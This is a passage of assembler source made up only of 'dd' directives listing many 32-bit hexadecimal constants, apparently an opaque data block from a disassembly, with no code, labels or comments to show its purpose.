dd 68D60626h, 71939207h, 0D04DCB2Ah, 0DBA7B300h, 0D616E560h
dd 0E7260048h, 1F35195Eh, 0BCF436EAh, 0BC703D4Ch, 0C2008C6Fh
dd 8D78C899h, 0B0DEFEBFh, 3AB30034h, 0A3AC52DFh, 0A009356Ch
dd 401DF5EBh, 552F9F48h, 344EA8BDh, 0FDC03E88h, 11ECAD7h
dd 47AE1A80h, 50075703h, 0AB71518Ch, 0FCFB2228h, 44B1B301h
dd 32FDFE1Ch, 3E5FF4FCh, 81171908h, 90E44EF1h, 8E755204h
dd 0C19CC8CCh, 0CCCE4D21h, 6B506DEDh, 0A08C41E4h, 0E9997DFFh
dd 43871473h, 60C9A7B7h, 39D2C1CFh, 804C1358h, 1D3504A7h
dd 2907E477h, 11EC9D91h, 442F0033h, 0A73109D0h, 0FA260045h
dd 7E6D8605h, 0CA12E7FEh, 30428843h, 0EB1FE111h, 6669C0A4h
dd 0CF350987h, 0A048EC07h, 0D928D22Bh, 790C8CFDh, 31898791h
dd 321C02A9h, 0C10CA4Bh, 3EF0910h, 4441651h, 0B93B6D39h
dd 7A69807Fh, 0E5739415h, 0CE451DD8h, 5870829Dh, 24513E1Eh
dd 0FB18FC71h, 3AA58C0Ah, 4F12B4CBh, 198088h, 0B2333F8Ah
dd 0C1F6021Eh, 0FA9CFD0Eh, 8BC980F8h, 8894EAC0h, 4403CCC3h
dd 8A074087h, 13C97792h, 400485CEh, 64C29548h, 7E047969h
dd 0A85299ACh, 0AE2D6081h, 6CCD3C02h, 3DC50BE0h, 0F5A202C4h
dd 8320D5F6h, 871760C8h, 0D9616421h, 51691836h, 20F2E41Fh
dd 2938F94Ah, 0CF4502Ch
dd 17FF1901h, 40647AC1h, 4AB2742Bh, 2DBC0044h, 344F0C51h
dd 32CA84A0h, 0D745F81Eh, 0CDE24A00h, 2CC4389h, 33C6F02Ch
dd 808462D1h, 0C36460B2h, 752B23ADh, 6E2C9D11h, 82620744h
dd 0F8B319CEh, 1A4F023h, 0F45B2688h, 20E6195Ch, 77274082h
dd 3EA63B3Fh, 4CCD860h, 0B09EA2Ah, 0F7740416h, 4AF8095Ah
dd 0FD93C018h, 1FB8A0B1h, 9C5C12E0h, 4D204245h, 50506AFFh
dd 0A00FCD31h, 4B0103FAh, 79D4241Fh, 1B929000h, 2C2E20EFh
dd 309CA0CDh, 60D6601Eh, 72E631D0h, 0B89CAE73h, 4C0321DEh
dd 0D47F1D08h, 0FE232084h, 6CC2473h, 0D14C56C1h, 0E5031A00h
dd 12C9505Bh, 0EE07FA3h, 6DD0888Bh, 0A6AD4F60h, 0CBF4CA4Dh
dd 0BC743958h, 7F048C9Ch, 1E31D799h, 16CBB4D0h, 5DF924EBh
dd 88133FC0h, 55305F83h, 0C400D46Bh, 0F0E549A5h, 0FE3A0905h
dd 2ED389A9h, 620C612Ah, 22A0B030h, 0B100184Bh, 0B4B2896Bh
dd 4920CE2h, 339F90DFh, 1410E44Dh, 7DC7A30Dh, 844288EAh
dd 0E3C4E682h, 0B9B6C48h, 8D2B3CC3h, 637BC49Ch, 0FE28C300h
dd 0A57E9749h, 65D920B7h, 465E689Ch, 3B740075h, 9965512Ch
dd 1BB5015Ch, 27E79FFAh, 990226Ah, 0E26F1F7Bh, 0BE348020h
dd 0A4DDBCh, 687754A8h, 0A6EB7640h, 5163FC0Eh, 0F16F807Ah
dd 92D323h, 85070805h, 90DB52C6h, 93D1B00h, 0A0A6953Bh
dd 0EBB000F3h, 0A9D0916Eh, 0C001B9EDh, 6DD97B66h, 0CEE49F20h
dd 0A1700109h, 345B9C8Dh, 8533FC2Ah, 0C027F21Eh, 7A3AC200h
dd 0BA7DFDh, 3B54494h, 0F3A38347h, 0F9C1E82Ch, 89E6FA00h
dd 1BE186h, 70AB45C2h, 78EEEA96h, 0C08AE63h, 0B8200095h
dd 0F66845BAh, 99FC6AB3h, 0F28DE204h, 0C0EBD1DEh, 5A985EB0h
dd 0F9AB7C00h, 0B48E57Fh, 18E76987h, 86945A00h, 0EE725961h
dd 79F46F07h, 182CE8FBh, 990C8E1h, 145C0C0h, 0F18F370h
dd 0B8A231C0h, 0A54645h, 8D5E09CCh, 7EAD244Ah, 0D9A32703h
dd 0E1A18AF4h, 68BE77C0h, 25BBFF06h, 0FE1018F7h, 7849630h
dd 471F01CDh, 9006625Ch, 731828C4h, 9DBD4A40h, 6CB04C60h
dd 2C07BA00h, 16F1A18Bh, 0F2000BFh, 0AE363DB5h, 531C6D9Dh
dd 0D4C7F26Eh, 24D0682Bh, 0BBED0Eh, 0CDB673E2h, 0F670E8BAh
dd 56399702h, 0C04BD7AEh, 9E0AA9Ch, 0B3600C20h, 0A36BAD00h
dd 0A80399DCh, 9C19AD3Ch, 7550F787h, 0F7C791h, 4E09D4C5h
dd 4B5CD9EBh, 11ED0400h, 8705A1BFh, 229D0014h, 0CE2474D0h
dd 76C1E0D6h, 0C3AB80C7h, 6D058E5h, 6338C02Fh, 0E1A302ACh
dd 0B47A77E8h, 701718C0h, 6762E3EFh, 80A811D0h, 59D92E2Dh
dd 5F3271C1h, 0AAC876FBh, 3CA000A1h, 24DDCA14h, 0DB1F8439h
dd 1CB91673h, 0ED102D5Eh, 7ADD5B01h, 0E482B655h, 3E00970Eh
dd 96802C50h, 0F81EA5ABh, 0B227007Dh, 9C2FF3F5h, 0B11991D0h
dd 5F40EC23h, 3AB98F8h, 9E8C5A33h, 95A0692Ch, 8000F204h
dd 5D058FBAh, 78D885F9h, 33CF901Fh, 2FB0A064h, 51B8FABBh
dd 7660247Dh, 94D368F0h, 393100A6h, 0E8AA365Eh, 8400182Eh
dd 0EB28F49Ch, 38FD633h, 8DD95922h, 0A2FB14FEh, 4A1112Bh
dd 67725EF8h, 0C0CC10AFh, 6692349Eh, 0C733DE00h, 9AFC9648h
dd 68C10060h, 0F29CA6D2h, 477A7BECh, 0B1A35A00h, 6B24ED7Eh
dd 0E9F43Dh, 0B5E89987h, 6D67F397h, 0DB068B00h, 257A5623h
dd 96861FFDh, 882880ECh, 0FE59D24Bh, 57F87D00h, 619D0D2Dh
dd 0B99F0B0Fh, 5307F965h, 94DFA02Fh, 0A900A4F1h, 3DA8BC4Bh
dd 2A6AE5h, 0EB18C27Ah, 0C35FE0EFh, 1FB80700h, 0AE24CD8Eh
dd 0D22300E8h, 0B1EF14FFh, 880C6BA4h, 78BE6635h, 16EA001Dh
dd 87A7433Ah, 810E55FAh, 0A052BB89h, 0E392BC5Fh, 0B2FD0EF1h
dd 401BC51Fh, 508EEDC0h, 0D9994C00h, 13C25F68h, 609C0040h
dd 380ADD41h, 6F039681h, 4E8E6A43h, 0A852F0A3h, 60F0EC7Ch
dd 0D8825856h, 0DB2E81D0h, 0B901B10Bh, 6E8701B3h, 0A30021BBh
dd 727AFD05h, 1C00B6BAh, 3E49C6A6h, 48A54C48h, 4E0086D8h
dd 0B8CFBDBEh, 0DD0B8C85h, 80F9562Dh, 0A9E61154h, 0BCE00F26h
dd 6EE0D0DCh, 638DD3F4h, 0A61E3FE8h, 9700128Fh, 0A25668F8h
dd 1CEB0006h, 640C80B7h, 1F0E6640h, 60A9E15Eh, 8429E387h
dd 2892040Ah, 805B6A16h, 9847A51Ch, 0DD6D6C2Ch, 6B00F838h
dd 41D13FA4h, 0FBBEFC72h, 532B440h, 0EE7D3F07h, 0EF50EC07h
dd 76E80031h, 0A703289Ch, 72BF6912h, 0BAFDEB3Ch, 5E4C4833h
dd 1E8A0047h, 23CE2B53h, 0FB00D50Eh, 2610C6BCh, 0B11E50Dh
dd 0C54779A0h, 1EA71287h, 40B2F9CEh, 9B97A62Ch, 50FCD41Eh
dd 0A086AB16h, 79103600h, 999A73h, 0E7142172h, 56E37A87h
dd 62206800h, 0CE1E9DC7h, 863300F6h, 4E34CB31h, 0E80012D3h
dd 0E34B7F41h, 0B065FE20h, 0F8882CB2h, 9BBD00DBh, 6F5DFA73h
dd 0E4CC1028h, 3100E27Eh, 8228834Bh, 5F58DDh, 612D8920h
dd 70B48A52h, 0B86E0B00h, 90842DFh, 28A87433h, 2A0E6BAh
dd 15AA7A39h, 0F8486BDDh, 64008D97h, 8BF9512Ah, 1C2124Ch
dd 2D28DACBh, 0D8D91707h, 0DE00DBE4h, 0F43C2752h, 3A20E909h
dd 0A000D0FFh, 0BEC6CE74h, 150EA9ADh, 87968231h, 0A2902367h
dd 9A1F085Eh, 9860540Ch, 7C96004Ah, 4B416607h, 7700C269h
dd 5CB08E4Ch, 625359h, 7EBE744Eh, 50FA6B05h, 1D2C60BDh
dd 355D00BAh, 0E90A45E1h, 6E00A141h, 0D7C7D878h, 87545Ah
dd 0E40C26A7h, 0A5FC22D3h, 0C9091892h, 83A6A0h, 0F2706244h
dd 51D93ED8h, 0C823E509h, 0C8BBDC04h, 871EF780h, 31007E73h
dd 3950A490h, 0CE7842h, 823C4EA1h, 0AE5E215Bh, 56711616h
dd 46531103h, 3E48D0D3h, 44B03810h, 47D02C9Dh, 1C07E04h
dd 0DC9628DDh, 0F00117AEh, 0D517FEDh, 0F5C42C79h, 0C2A01F1Ch
dd 80841F55h, 88B721C5h, 9203D138h, 7C78D7E9h, 0DBCDB086h
dd 0D3520047h, 355FE620h, 5A00957Eh, 544541F3h, 0D8C3Ch
dd 1ABCBB64h, 0A09D9A4Bh, 0A5C09507h, 708DCA82h, 152ADE4h
dd 0E8C18F57h, 0C410F5B7h, 0A324D59Fh, 0A90084B2h, 494329A0h
dd 188F0EB6h, 622070C1h, 0CFE4CE4Ch, 77263600h, 5C01750h
dd 9F800FEh, 0CBE0449Fh, 0C804EC11h, 26E12B52h, 74ADBC80h
dd 0FF8601A2h, 69989482h, 84CFDC3Fh, 67D041EFh, 57ABF851h
dd 0A3522B00h, 9ADD348Ah, 0A4F5509Bh, 9C6F0069h, 0E2297BFAh
dd 0BC003F47h, 0DD77D4C0h, 15F595Dh, 0CFAD4CF8h, 301D8539h
dd 6AFA0409h, 67F46100h, 0B5C8FB64h, 3645007Ch, 0E46618CAh
dd 0DD005786h, 0DA5D9412h, 0A5B79Ch, 0B9F23846h, 6CA5CFAh
dd 0A603B2EEh, 0CEBD69E4h, 0C9DB90EBh, 0F80E0974h, 180025C2h
dd 26E5B24Eh, 947C8B06h, 2629361Ah, 0E5EED44h, 59C25064h
dd 24682F6Fh, 797E196Ch, 0D1D56A03h, 0B8483928h, 8E2252h
dd 18B12696h, 0CD7686D0h, 0F27E4B7Ch, 78990300h, 904129DAh
dd 16D11858h, 3BA22146h, 0C20002E4h, 872EA3D6h, 79079590h
dd 2B3EC61h, 607D4F92h, 94A25E53h, 78487AEEh, 39147895h
dd 1FB0DCC0h, 1003D64Dh, 0F7A6CB75h, 5181DBD1h, 0BF19DCh
dd 244E884Ch, 30B00E2Fh, 0E6009DE4h, 12A5BE4h, 0B2F534h
dd 4595A139h, 0D68BF4A3h, 7FF2D8FEh, 0E0245AEEh, 0D1004004h
dd 965FA5B5h, 0A0E66024h, 3F93A93Bh, 0F82BF5Ch, 3EDACCh
dd 0E9F041D3h, 8E440114h, 0BB39A616h, 6D93021h, 9F9CB103h
dd 883C1712h, 1E29AD32h, 3961CF5Dh, 0DF879B80h, 1A1823AAh
dd 66E98E01h, 0F3EEA850h
dd 9EA47280h, 6EE28B90h, 0DB574700h, 22E3A7E1h, 0E594070Eh
dd 20F515D7h, 6F18FF85h, 0C3F7F607h, 25E06480h, 0A7784Dh
dd 22572CCEh, 0E39956D0h, 559A5A00h, 0A5015244h, 0C89D1EA4h
dd 0DCCBC17Ah, 0F4EDFA8Eh, 0D90008A1h, 0F82D1930h, 76D61Ah
dd 65CF696h, 86E1A68Bh, 2B5EA501h, 0E9C4546Fh, 0B080B0B9h
dd 80DA0378h, 0C900A2A4h, 5B866FD0h, 0C2BCE8h, 0D29510ADh
dd 81B7C544h, 0A80BC700h, 24F8728Ah, 0F840292h, 5B8E38AEh
dd 0DC42DA82h, 8535D8E8h, 0F745F900h, 0E41A6E18h, 2BB87Eh
dd 48B0D16Ch, 0F5FF0AA6h, 75D39B00h, 0E56540FEh, 9F08A04Ch
dd 12460077h, 228E7FD7h, 5C58F171h, 274A00E8h, 0C154EF45h
dd 0AD9F26DBh, 0EB92B9B0h, 0A4148067h, 6E078DD5h, 118E3DBCh
dd 6023FC41h, 0D82100C7h, 6FA5ADD4h, 0CB3A6625h, 0A12004Ah
dd 86B1FDAh, 80F90767h, 0A70E9C27h, 0F0B630EEh, 41DAFC8h
dd 0DC0567Ah, 0C5A7A18Eh, 0D6BD306Ah, 253ACB58h, 32E2A502h
dd 60863D80h, 0BA276EE8h, 3FB90314h, 79CB6D25h, 0C8FFDE2h
dd 0BDC59AA0h, 0ED07468Eh, 814851F4h, 0FF15DB40h, 99F2005Eh
dd 25F5DA42h, 64001A7Ah, 2133D2E4h, 0F44180A2h, 4C3EE811h
dd 131C2155h, 7B5D000Ah, 30F8A32Ah, 0EF672400h, 81C7FA8Ch
dd 0F94D0011h, 0E978CC5Fh, 0F7007D1Ah, 63700F5Ch, 3B7F3CDCh
dd 26000296h, 0CE2C69D3h, 0FA00FED4h, 1BA8A0D2h, 0D8BF9Ah
dd 60AF7059h, 5311A257h, 3900FCA4h, 0B6476109h, 32668665h
dd 0E108EE5Eh, 0FF1C0C69h, 0E6858188h, 360099FAh, 0DA8290A7h
dd 2DFCB33h, 60979D3Eh, 8468C9D6h, 0DB7B9BB9h, 1B80AF00h
dd 98A4FD2Dh, 27DF0CC5h, 0D3580629h, 0DA77D90Ah, 3980F03Dh
dd 0B3E9F107h, 268E0C15h, 6A0805A6h, 0EE1B21C0h, 1F1DF2h
dd 0DA8D3C3Eh, 2A92A507h, 9BB46B03h, 9F2E9896h, 4029987Dh
dd 0EE5B6803h, 11003EEBh, 7A9C4382h, 0E241ACBh, 2527B3AEh
dd 209D1896h, 9C7036F3h, 0ACF03E00h, 807DB8D3h, 6FE736BEh
dd 1B215058h, 9C2880EAh, 25D2CB0Bh, 213B6086h, 0B09CF0E4h
dd 0DF8C1300h, 5AA37FE2h, 32210058h, 2925C8CBh, 0B1C331F1h
dd 0F07E6A81h, 1946E74Bh, 8E923C5h, 0E1AC502Dh, 4F757E52h
dd 0B4DECB0Fh, 805B6091h, 0D038905Eh, 0D400BDA0h, 0C7B8CAFDh
dd 0C600AA30h, 49187420h, 0F1B2D0Dh, 5BF52F36h, 90EBF3A0h
dd 2200C929h, 8BA9601h, 111C85h, 536E9FBBh, 768027B7h
dd 779E2B00h, 33190236h, 31CF00D2h, 0D55AB865h, 0FE3E6455h
dd 0FC2F0016h, 0A861BD28h, 5143000Fh, 0D283A0BCh, 5E00C750h
dd 0D4F485ACh, 0C053B523h, 0BD2DDD10h, 0D7074E15h, 73FB1893h
dd 342186Ch, 75595455h, 0BBCC4F4h, 359086EAh, 13C00C0h
dd 5C9031Dh, 1F66FD5Bh, 3028886Ch, 0BB91B964h, 5226C2E6h
dd 0AF00275Fh, 0A62D6E8Ch, 0DC960E45h, 0C07DD96Dh, 0CBB87431h
dd 8B00946Ch, 56F11DEDh, 3A1506B0h, 0BA8017DEh, 7F5A649Fh
dd 0FB1D559Eh, 0BE1E2814h, 90378B0Ch, 2439035Eh, 408FDD61h
dd 870080C6h, 17D4D249h, 0EBBBE4h, 96EC7055h, 8FE883C8h
dd 8000FCF0h, 1924AD86h, 0A32E08h, 0B0E4AB28h, 49A1B685h
dd 0A2001471h, 0FE9020F9h, 39D9657h, 8864D6E3h, 0A0A71E5Eh
dd 0B6379A19h, 8975E43Fh, 80E1C102h, 74D9DC16h, 342400F4h
dd 694EA25Dh, 2C00D31Ah, 87ADD781h, 14BCFFh, 84D49A61h
dd 1EDA0FEAh, 34DE3100h, 9D9741DFh, 2D13007Ah, 80A53817h
dd 7E031BB9h, 3391784Eh, 0DB080062h, 1D586D05h, 0AF004FADh
dd 0D2A29717h, 1DC3722Ah, 40B981ABh, 802E0560h, 3C7BA973h
dd 0E5AE7C00h, 991334F2h, 2DF8005Dh, 0E0F031F7h, 8276F953h
dd 0FF727D00h, 0DE79EEECh, 40E10028h, 0EBAD51A9h, 0FE0041C9h
dd 88294353h, 1784CCAh, 6348FD30h, 0E4F990E9h, 0DB0707E5h
dd 3684E41h, 0DD8D2A00h, 0F7F847h, 0FA4449Eh, 25B12055h
dd 0BEB43700h, 0BA4EC4BDh, 8FD502CDh, 2226B03Ah, 6BBFA80h
dd 28079029h, 0C0D4501Eh, 9D01B68Ah, 0A9D75511h, 9DC8119Eh
dd 8660C0D0h, 0A7E870Eh, 91013174h, 0B92996C3h, 0DC40D738h
dd 1745DBEh, 59ABC083h, 0E881C9B4h, 0AD00DFE4h, 0C367D0F7h
dd 491CA9h, 0B5CCC229h, 8C80FECEh, 30266C07h, 0F4208918h
dd 0B7798Fh, 5FD97512h, 0F910134h, 53ABF900h, 46C96DF7h
dd 0CE240585h, 44611E8Bh, 806FC590h, 816D5915h, 1F00457Bh
dd 9E66EF06h, 0C0D39h, 0C2C8B899h, 0AF2CDACEh, 0A7153700h
dd 625D7577h, 0EE0D0125h, 0B1890540h, 4883C0CDh, 90A31303h
dd 0E1D01A1Fh, 83405704h, 1D088ABBh, 39BD6196h, 0E973FA00h
dd 0CB43A111h, 0A49D2300h, 0DADBB448h, 0A2B0BEh, 2B465271h
dd 8B96FA5Eh, 9E658900h, 56FB7E9Ch, 52BD0762h, 404E5438h
dd 11C6C257h, 76514600h, 0ABAFA061h, 0CA79E0h, 3E39B1Ah
dd 30E974D3h, 4A720500h, 0FF46F12h, 0E0C401BEh, 8890E171h
dd 30A2FC11h, 56967300h, 322E42B8h, 0B1E800F6h, 9CD16629h
dd 54017B12h, 90E496D0h, 90DF884Bh, 4D49ECh, 0CD0A835Eh
dd 9F8BC5A2h, 0A42CAA3Eh, 28006480h, 6415F64h, 2A760E24h
dd 0CBE0B1C2h, 0B6F71DE0h, 0FBF8100h, 0BE8E4252h, 766F84Ah
dd 51AF9F68h, 0A646F0DEh, 2D00E3A0h, 1B559A31h, 38BCFC76h
dd 1F80EA22h, 4E7F26FBh, 7D0EB5D2h, 0F3F524h, 0AD19C3B8h
dd 0B7350006h, 6C0189BEh, 9300E870h, 21E6420Dh, 95EDFCh
dd 784BF40Ch, 0C2D1AB8Bh, 9C3CC712h, 3A374700h, 0B8E9E3h
dd 0C5C347EAh, 0F6276507h, 8797B503h, 0F0140169h, 48DA690h
dd 2CC0B3A1h, 5708267h, 8122D7E0h, 30B05800h, 2ED889BFh
dd 69420037h, 512D1E72h, 0DA00F638h, 0FFF4E6C1h, 0E804329Eh
dd 3CC50780h, 8035684Dh, 5F7A2450h, 82737E3Fh, 4B11B485h
dd 6BDC80DBh, 2521C33h, 34B164C7h, 0B0406D41h, 9D00CAC5h
dd 9936D072h, 24DE02h, 0EB324590h, 9233DFE0h, 5CB9D60Eh
dd 0FBA98046h, 0FC0EECACh, 0BAC92F5h, 0E581D285h, 0D4171600h
dd 7800B1A4h, 0FE3B5512h, 77FD23B0h, 0D2E00027h, 0B2C32695h
dd 0BD04BA07h, 0A920DF98h, 8E0069A8h, 0DDCC7F72h, 0FA03279Ah
dd 7950A889h, 0A0E801B4h, 0A4D863B8h, 24243054h, 38D29320h
dd 2E7D1E4Bh, 648D38h, 8FEBE550h, 35FA6473h, 0F2DD7D00h
dd 6D1BF181h, 266C7CBFh, 1918BB4h, 0FDDCF5FCh, 0E88FC844h
dd 0E9CDA802h, 0E1DB943Dh, 9881991Eh, 0AFD49D26h, 4B702438h
dd 0D218CEF0h, 70119B85h, 954107F5h, 30C8AD8Fh, 0FA7E1420h
dd 70AB7730h, 7D62557h, 80B3CE78h, 41BB4790h, 41C8069Ch
dd 0F1ABE8C4h, 0EC5CF095h, 0A969CB30h, 9A60B4B0h, 0EE910084h
dd 0CEE4F34Ah, 5807C849h, 4E4C2B8Ah, 18B831B0h, 0B74618B1h
dd 0A13C20F5h, 6C387660h, 0C097389Ch, 808BE850h, 40E969E5h
dd 4592FF2Ch, 0B6C00700h, 48FBA14Eh, 0F4AB004Ah, 0E3972B55h
dd 5876683Fh, 22057C01h, 1719E8F9h, 503F704Ch, 7FF385Eh
dd 11E88B5Ch, 0FD33406Ah, 0AC503C55h, 40EBE510h, 0E8D9311Ch
dd 1DB4F200h, 50BE5DCFh, 0AD59480Ch, 0DF965800h, 159D9B2Bh
dd 6BC0D300h, 5065B7AAh, 0A7080029h, 40369451h, 8A7E9274h
dd 8B002BE8h, 0E07F59FFh, 8FF7C0h, 671358BBh, 966F9A1Ch
dd 6C7D5200h, 1EBA7297h, 48F01C6Bh, 560945DFh, 15BC5274h
dd 0BE3E90C8h, 1959E518h, 0B9C08E88h, 0E9906892h, 1E99485Fh
dd 7A7C71Dh, 20F6F041h
dd 0C31479D5h, 9D1CA05h, 2C0337FEh, 9B115F7Eh, 61E6B7h
dd 3EB1498Fh, 80D144A9h, 81782100h, 427F8FCh, 297360B7h
dd 15A5FD3Eh, 931E0AFCh, 0F281A6ADh, 0EA94B1AAh, 65DDB2E1h
dd 6F7C6980h, 5939DD16h, 0ABC51503h, 0D1E848F1h, 19F82D93h
dd 0BF302E7h, 1CEFED99h, 0D6393844h, 0DB67807Dh, 0CE01EC2Fh
dd 9DA20011h, 60462018h, 407A2878h, 0F22CDFE8h, 0C800BF0Bh
dd 3BDCB462h, 0F8B8D5h, 4C513F6Ch, 123998DBh, 0C2F0C300h
dd 0C56E5414h, 63F80676h, 0D9EFB47Ch, 0F208F100h, 0F91F6A5Fh
dd 7034003Ah, 0D416658Ch, 0A035990h, 1422814Fh, 898EA060h
dd 249279h, 547CE89Eh, 249D1738h, 0F77DE0FFh, 0EC283Ah
dd 2B70E53Ch, 0C306DD1h, 51080ACDh, 0B9076438h, 68FDE69Dh
dd 0D004E3F0h, 0B8E899h, 0DFF6E4EDh, 75CD790Bh, 0FA869F00h
dd 0F5D13418h, 0B8882461h, 402D9F00h, 0F2A88AB1h, 38CEB411h
dd 6A3C2114h, 309E9071h, 17ED41BAh, 808C6E84h, 69AB9739h
dd 75A88809h, 456F0096h, 5BFBE430h, 0F03959A0h, 23C000A6h
dd 3DBD4F29h, 1583015h, 2C9E1050h, 0C6D68D00h, 0E1A2B98Eh
dd 0F90A127Ch, 0B150226Fh, 839BBC20h, 4230007Eh, 84D4470Bh
dd 0F0C0DC62h, 0F637CA2Bh, 178015CBh, 0EC07C41Eh, 0D3048DBFh
dd 1C90A99Ch, 93080DCh, 0A5F22161h, 0C4861589h, 2A09F4D9h
dd 0B080666Ah, 3211370Fh, 1DE6FB00h, 20CFFD2Ch, 2DE80285h
dd 0D96563A2h, 22779480h, 0B6009F7Bh, 27B98446h, 4C87A1DFh
dd 0F1C100Bh, 925A42DCh, 45208F6Dh, 16042DAh, 8A9DEFADh
dd 0E09F4F14h, 0A70BA81Fh, 8043DF3Ah, 0A04BD0A6h, 2781027Ah
dd 8A8EF592h, 0E4151444h, 15C15AAh, 464018AFh, 61D82EBDh
dd 0F962006Ah, 8ED53653h, 39C37A9Eh, 5A5E8D7h, 343DE89h
dd 73B4404Eh, 6BAF01ADh, 0EF26A3E6h, 3A470C6Eh, 0F0C65913h
dd 5F8F69h, 0BB52009h, 16FBD9F2h, 0C3ED0701h, 7CE38E1Ch
dd 80E56983h, 27EB4232h, 8C62F5E1h, 71601D19h, 0F2520033h
dd 0B42D47B5h, 8300FB5Ch, 911AD34h, 0FB986302h, 0B1E9D4D4h
dd 601C24ECh, 0ED40A338h, 9EACC700h, 0E17A3CC4h, 0ABD8000Bh
dd 0AF7C7FE8h, 0C1C0946Dh, 25D904B7h, 9F36027Ah, 0D7C5FDCCh
dd 0FE1C9CA0h, 5A005272h, 7D63DCF0h, 506A4Bh, 46908392h
dd 34EE1F81h, 4EE24C00h, 0E74598FEh, 75A7000Ah, 7B147E3Ch
dd 520182A9h, 64F0047Ch, 0C20DC40h, 18E0271h, 1522F5C8h
dd 0B87C1040h, 0B4D6A013h, 0D7479420h, 81FE07AFh, 0F043FBDDh
dd 941A0FC8h, 8E12F00Ah, 9160F8ECh, 99FA0A60h, 929D006Ch
dd 0B7170D1Dh, 6251ED61h, 8E8022BCh, 1C7C9D75h, 0CF0178DEh
dd 42D121FDh, 3DE0FA79h, 0F5931268h, 0CDF44081h, 5290D54Ch
dd 82A4F302h, 0C4FD0A48h, 48F7481Ch, 7E8CAB00h, 2C86E5BCh
dd 8123EC3Eh, 0B9D1E26h, 4F7191EDh, 3DB808h, 6544385Eh
dd 3649F11Eh, 2C805491h, 69568510h, 294300D6h, 9CEB30A3h
dd 14905E05h, 8481917Eh, 275A020h, 0A5D14042h, 0C861A7FFh
dd 5A88507Ch, 7D003D7Bh, 0B9C7B6DAh, 187AB8D5h, 0B9861DA2h
dd 490099FFh, 25878C2h, 794740h, 0F5198D4Dh, 68C90DBh
dd 0E89C530Bh, 0CC1C034Fh, 0B881EF9Dh, 0C4301FFFh, 0F4ED3E57h
dd 0BFBADF8Fh, 20D91D8Fh, 6D85C433h, 0B3F1BB60h, 8C24CEh
dd 90815C2Eh, 0A86883C1h, 0FA171F00h, 30BB024Eh, 9D8E192Ah
dd 0FC94E188h, 825C4DE6h, 2DF600D7h, 1CE37ED2h, 0C86D5140h
dd 6180BCE9h, 88E4A252h, 0B0CF4649h, 9D2AC162h, 1F3FD00Dh
dd 381D4127h, 0F09C4C87h, 2905F8F1h, 0AB46DE40h, 0B77FA401h
dd 60C422D6h, 0A57E0E87h, 0BE22B69Ch, 0C46F4Ch, 0DD4B6A00h
dd 1DED25D4h, 7447489Bh, 7CB47E09h, 0CF4F3020h, 0B300CD82h
dd 60EA54F1h, 58E2F722h, 0AD16CF15h, 5DEAC14h, 3F8CAA1Fh
dd 0D65238CCh, 604448F9h, 8B02B8A6h, 641A5F48h, 3FDE030Ch
dd 24077EFFh, 0FBE41A0h, 8BA40E1Ch, 8DAC5C7h, 510AFDE0h
dd 81AC9890h, 0CC302EE4h, 0E2C43059h, 0F0161D69h, 7330A001h
dd 5CD1F7C1h, 30CB3060h, 87F1A28Ah, 0DB003F2Ah, 2BD66BB4h
dd 2435EEDh, 0C35D59B7h, 0A8A1ACF4h, 221A5342h, 140F00BCh
dd 65DFB4DAh, 0BB0417EDh, 6019F8D9h, 3505E321h, 0A7480067h
dd 164B8B57h, 62E1D6C8h, 91891364h, 40938822h, 0C42ABA0h
dd 0EA6A5AE8h, 760078C1h, 1454807Fh, 0BDA5BAh, 357E498Eh
dd 9E304897h, 0C2220B03h, 0B56E87h, 33AFD359h, 4D4CB958h
dd 0A102B200h, 2F730951h, 0B8CB1211h, 7A200761h, 0D2A7D0F3h
dd 0C100B0F2h, 84BFF718h, 92E3C408h, 5A77D4h, 4BD3583Ah
dd 5164B19Ah, 0B688D150h, 0A3D85C0Bh, 2AE000D6h, 1599070Bh
dd 204451CDh, 3112D12h, 432109Fh, 0EA608C99h, 2B8EB440h
dd 0CD12B277h, 4400AB4h, 0A398A935h, 0FEE1012Ch, 1B65BFEBh
dd 0B07AE0ECh, 0FB38613Bh, 0D1E3DF12h, 20BB3F0Fh, 9437065Dh
dd 0AF20A7Ah, 8AC03F60h, 9F88896Fh, 0C04C1EDBh, 90CDC708h
dd 18001D3Ah, 0A23D7DBAh, 1E864033h, 872B1951h, 0D2CA7AF2h
dd 884403D7h, 2CE3D800h, 0A5D02AFBh, 3A6E7296h, 21E08ADFh
dd 0BF2D2944h, 0F9E7A406h, 0EA19BA6Dh, 9A98002Eh, 3F5C80DFh
dd 0E000DE02h, 37F10F97h, 793EF8E5h, 9DC0532h, 353A14Fh
dd 0F29D20C8h, 0F08E25B9h, 0D1C48C0Bh, 5841BD88h, 20FDABF9h
dd 2506F10Fh, 3D54162h, 18BC9029h, 1168F215h, 900116ACh
dd 92B458EBh, 4022F4D5h, 4E7E3F00h, 9A2C462h, 405A42BFh
dd 496A55A0h, 3F004C7Fh, 1C6F89A0h, 5400D117h, 4DE792D2h
dd 9338810Ah, 0EECC04E0h, 5EC0823Ch, 70525A61h, 3B887D54h
dd 7E25FC9Eh, 14CD0E7Eh, 736146FAh, 22B733BDh, 266B0000h
dd 0CD0E2D18h, 8F2A1E67h, 17070084h, 1CB4B7B5h, 0D3F1D002h
dd 80E9D559h, 0CAA6D878h, 80B45813h, 2E6AF80h, 0B51C5E01h
dd 37C0C6D3h, 0A9881A6Eh, 8F030914h, 480B84Bh, 13168101h
dd 0F5E339C1h, 0B88CC150h, 461B06Fh, 234A4F00h, 0C64B1CFBh
dd 0A1DD00CBh, 0FABAD78Ch, 8F2E74D1h, 0AE6094ADh, 4AB2Bh
dd 84F5C3C7h, 4B1D1791h, 0D1C44200h, 923615E4h, 7FE1FD45h
dd 818BB413h, 0BC3856F8h, 119C5A4Ch, 204A0B3Ch, 1A7A9940h
dd 0AAAD4F00h, 80DA1032h, 0C4A42Bh, 0A15EA7BAh, 29B30AF1h
dd 0AD7CBD00h, 4A7554CAh, 0AEF90125h, 924746E8h, 1704226Eh
dd 4E0029B4h, 0E8ACDE5Fh, 0A5F3024Eh, 6027B271h, 97C6EB81h
dd 0C7EC7166h, 0EBD7890Ah, 0F540C0AAh, 6DBB812h, 0B72C8092h
dd 2A009170h, 0C4FCF411h, 0B5A0BBh, 876CF297h, 0EF9D8B26h
dd 46564300h, 0FC15F6D6h, 63091753h, 0CC4842C6h, 0C0C03CE4h
dd 34C462Ch, 26D580ACh, 0F46DFBh, 0E94DA022h, 9C05F2ABh
dd 28A8010Ah, 6828EC36h, 0CCF3C3Fh, 9111B7F3h, 0A57B018Dh
dd 0CC08350Ch, 3D2429B4h, 0A78880DAh, 56221901h, 0B6F107D5h
